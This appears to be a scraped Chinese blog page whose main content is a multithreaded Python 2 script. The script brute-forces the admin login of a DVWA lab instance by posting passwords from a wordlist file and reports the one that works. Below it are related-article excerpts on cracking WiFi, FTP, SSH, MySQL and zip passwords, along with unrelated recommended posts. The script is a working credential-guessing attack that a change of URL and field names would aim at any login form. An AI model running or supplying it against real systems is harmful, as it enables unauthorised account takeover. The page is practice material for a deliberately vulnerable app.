import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser user_thread =10
#这里登录名默认admin
username ="admin"
#pass.txt中保存密码文本文件
wordlist_file ="pass.txt"
resume =None
#
target_url ="http://192.168.31.113:8080/dvwa/login.php"
target_post ="http://192.168.31.113:8080/dvwa/login.php" #用户名区域
username_field="username"
#密码区域
password_field="password" #检查是否成功登录
success_check="Welcome" class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results={} def handle_starttag(self,tag,attrs):
#找到<input>
if tag=="input":
tag_name=None
tag_value=None
# for example <input type="hidden" name="NXX" id="IDXX" value="VXX" />
# name=type,value=hidden name=name,value=NXX name=id,value=IDXX name=value,value="VXX"
#attrs中各标签的名字和值
for name_tag,name_tag_value in attrs:
#找到名字等于name的标签
if name_tag=="name":
#获得名字等于name的标签的值
tag_name=name_tag_value
#找到名字等于value的标签
if name_tag=="value":
#获得名字等于value的标签的值
tag_value=name_tag_value
# 将标签和标签的值放入tag_results{}
if tag_name is not None:
self.tag_results[tag_name]=name_tag_value class Bruter():
def __init__(self):#注意__init__ 左右两边都是两个_
#打开密码文件读取内容
fd=open(wordlist_file,"rb")
raw_words=fd.readlines()
fd.close()
found_resume=False
#队列
words=Queue.Queue()
for word in raw_words:
word=word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
#如果中断,可以恢复
if word==resume:
found_resume=True
print("resuming from"+resume)
else:
words.put(word)
self.username=username
self.password_q=words#密码再保存到password_q
self.found=False#是否找到正确密码
print("finish setting for: %s" % username) def web_bruter(self):
#密码队列没读取完且没找到正确密码
while not self.password_q.empty() and not self.found:
brute=self.password_q.get().rstrip()
#存放cookie
jar=cookielib.FileCookieJar("cookies")
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
#爬取目标网站内容
response=opener.open(target_url)
page=response.read()
print("plan to brute")
#获得标签
parser=BruteParser()
parser.feed(page)
post_tags=parser.tag_results
#传值给用户名区域
post_tags[username_field]=self.username
#传值给密码区域
post_tags[password_field]=brute
#url编码post_tags
login_data=urllib.urlencode(post_tags)
login_response=opener.open(target_post,login_data) login_result=login_response.read()
#检查是否成功登录
if success_check in login_result:
self.found=True
print("success")
print(username+":"+brute) # use more threads to start web_bruter
def run_bruteforce(self):
for i in range(user_thread):
t=threading.Thread(target=self.web_bruter)
t.start() bruter_obj=Bruter()
bruter_obj.run_bruteforce()

python实现暴力破解的更多相关文章

  1. XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解

    XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...

  2. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  3. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  4. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  5. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  6. python 编写暴力破解mysql用户名密码

    本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...

  7. 用python暴力破解压缩文件并不是万能,至少这个场景我告诉你密码你用代码也破解不了

    看到论坛上各种贴子写用python进行暴力破解的文章,于是自己也想去尝试一下,不试不知道,一试吓一跳,真的就像那句有名的”python由入门到放弃“,把论坛上别人的脚本全部自己敲一遍,运行不报错,但也 ...

  8. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  9. 4. DVWA亲测暴力破解

    LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块   我们先创建一个1.txt文件夹,把正确的账号密码写进去   我们输入 Username:1 Password: ...

随机推荐

  1. Ionic4.x 项目结构简单分析

    新建项目 e2e:端对端测试文件 node_modules :项目所需要的依赖包 resources :android/ios 资源(更换图标和启动动画) src:开发工作目录,页面.样式.脚本和图片 ...

  2. IntelliJ IDEA中构建spring-boot项目

    1. 打开 IDEA ,新建项目 2. 选择Spring Initializr 并在 Choose Initializr Service URL 填入 https://start.spring.io ...

  3. 贝济埃曲线quadTo与传统的手势轨迹平滑度对比分析

    package com.loaderman.customviewdemo; import android.content.Context; import android.graphics.Canvas ...

  4. Redis Sentinel 高可用服务架构搭建

    https://www.cnblogs.com/xishuai/p/redis-sentinel.html

  5. 0.9.0.RELEASE版本的spring cloud alibaba nacos实例

    简而言之,nacos与eureka的不同之处有三:后台老板.部署方式.功能.nacos是阿里的,eureka是奈飞的:nacos有自己的安装包,需要独立部署,eureka仅作为一个服务组件,引入jar ...

  6. 【418】C语言ADT实现Quack(stack+queue)

    quack.h #include <stdio.h> #include <stdlib.h> #include <assert.h> typedef struct ...

  7. SpringCloud学习成长 四 断路器(Hystrix)

    在微服务架构中,根据业务来拆分成一个个的服务,服务与服务之间可以相互调用(RPC),在Spring Cloud可以用RestTemplate+Ribbon和Feign来调用.为了保证其高可用,单个服务 ...

  8. Treeview控件如何获得子节点的所有父节点的名称

    Delphi或c++ 的treeview控件,比如一个节点上面有个父节点,这个父节点上面还有一个父节点,如何获得这两个父节点的名字呢?请给出实现代码 先定义一个nodevarnode:TTreeNod ...

  9. 直接用的tar压缩

    将目录里的doc文件夹压缩成tar.gz tar -czf  doc.tar.gz   doc 解压tar.gz tar -xzvf doc.tar.gz 在不解压的情况下查看压缩包的内容: tar ...

  10. 未能加载文件或程序集“System.Web.Extensions, Version=1.0.61025.0, Culture=neutral

    近日将电脑重装了一下,刚刚装上vs2005后打开以前的一个项目,居然出现了下面的错误: 未能加载文件或程序集“System.Web.Extensions.Design, Version=1.0.610 ...